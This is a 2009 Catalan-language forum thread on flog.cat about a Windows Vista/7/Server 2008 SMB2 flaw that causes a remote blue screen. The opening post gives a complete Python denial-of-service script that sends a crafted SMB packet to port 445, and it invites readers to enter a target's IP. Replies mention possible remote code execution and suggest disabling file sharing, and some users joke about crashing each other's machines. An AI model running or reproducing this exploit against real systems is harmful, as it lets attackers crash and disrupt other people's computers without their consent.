Xarxa social en català, flog.cat
Gent
Piu Piu
Fotos
Grups
Blogs
Jocs
Campanyes
Viu en català
Música
Fòrum
Xat

Com provocar un BSOD remotament en Windows (Vista / 7 / Server 2008)

Fòrum en català d'opinió i debat lliure sobre actualitat, països catalans, país valencià, política, esport, informàtica... per als usuaris joves de flog.cat

No has iniciat sessió.

#1 09-09-2009 20:10:03

daniol
Administrador
Adicte.cat
Ubicació: Elx
Registrat: 27-01-2008
Missatges: 1345
Web

Com provocar un BSOD remotament en Windows (Vista / 7 / Server 2008)

S'ha descobert un error en la implementació del protocol SMB per a Windows Vista i Windows 7 que permet a un usuari remot provocar una pantalla de la mort (BSOD) llançant un paquet SMB2.0 amb un caràcter ampersand (&) en el camp "Process Id High", el que provoca un error PAGE_FAULT_IN_NONPAGED_AREA a l'equip, que causa la aparició d'una pantalla d'error fatal a l'usuari i el reinici de l'equip.

Podeu provar-ho vosaltres mateixos amb el següent script Phyton. Per a provocar el crash, s'ha de substituir "IP_ADDR" per la IP de l'equip Vista/Win7 al que volem causar un BSOD.

Codi:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High"
# SMB header field it dies with a PAGE_FAULT_IN_NONPAGED_AREA
# from socket import socket from time import sleep
 
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90"   # Begin SMB header: Session message
"\xff\x53\x4d\x42"   # Server Component: SMB
"\x72\x00\x00\x00"   # Negociate Protocol
"\x00\x18\x53\xc8"   # Operation 0x18 (&) sub 0xc853
"\x00\x26"           # Process ID High. normal value is "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
 
s = socket() 
 
s.connect(host)
s.send(buff)
s.close()

http://www.dashboardwidgets.com/showcase/data/57/BSOD-0p6b.png


Font:
http://it.slashdot.org/story/09/09/08/1 … emote-BSoD

Desconnectat

 

09-09-2009 20:10:03

 


#2 10-09-2009 00:30:50

thor9216
Usuari
No escriu missatges, ELL és el missatge
Ubicació: València DC, País Valencià
Registrat: 23-02-2009
Missatges: 671
Web

Re: Com provocar un BSOD remotament en Windows (Vista / 7 / Server 2008)

ACTUALIZACIÓN 08-Septiembre-2009 13:25:
Aunque el autor lo niegue, desde 48bits nos informan de que SI PODRÍA SER POSIBLE LA EJECUCIÓN REMOTA DE CÓDIGO, y no lo dicen por decir, dan su correspondiente explicación técnica que es lo que vale.
Así que, a falta de parche, bueno es desactivar el compartir ficheros en Windows 7, Vista y 2008.

http://www.securitybydefault.com/2009/0 … nnuke.html

Desconnectat

 

#3 10-09-2009 21:34:13

Republicana
Usuària
Adicte.cat
Registrat: 02-07-2008
Missatges: 1114

Re: Com provocar un BSOD remotament en Windows (Vista / 7 / Server 2008)

ixa pantalla crec que m'ha ixit unes cent vegades al portatil u_u


Ets lliure de pensar que estas boig. Però estas boig si penses que ets lliure.

Desconnectat

 

#4 16-09-2009 03:32:44

x140l31
Usuari
Per dormir llegeix post's
Registrat: 03-09-2008
Missatges: 354

Re: Com provocar un BSOD remotament en Windows (Vista / 7 / Server 2008)

RRR ara ja saps qui t'envia els pantallazus xDDDDD

'¬¬ i jo passant-me a windows 7 xD

Desconnectat

 

#5 16-09-2009 15:09:19

Republicana
Usuària
Adicte.cat
Registrat: 02-07-2008
Missatges: 1114

Re: Com provocar un BSOD remotament en Windows (Vista / 7 / Server 2008)

se quien es i donde vive......... ¬¬ jajajajajajaja


Ets lliure de pensar que estas boig. Però estas boig si penses que ets lliure.

Desconnectat

 

Peu del fòrum

© flog.cat, 2009
Powered and © by PunBB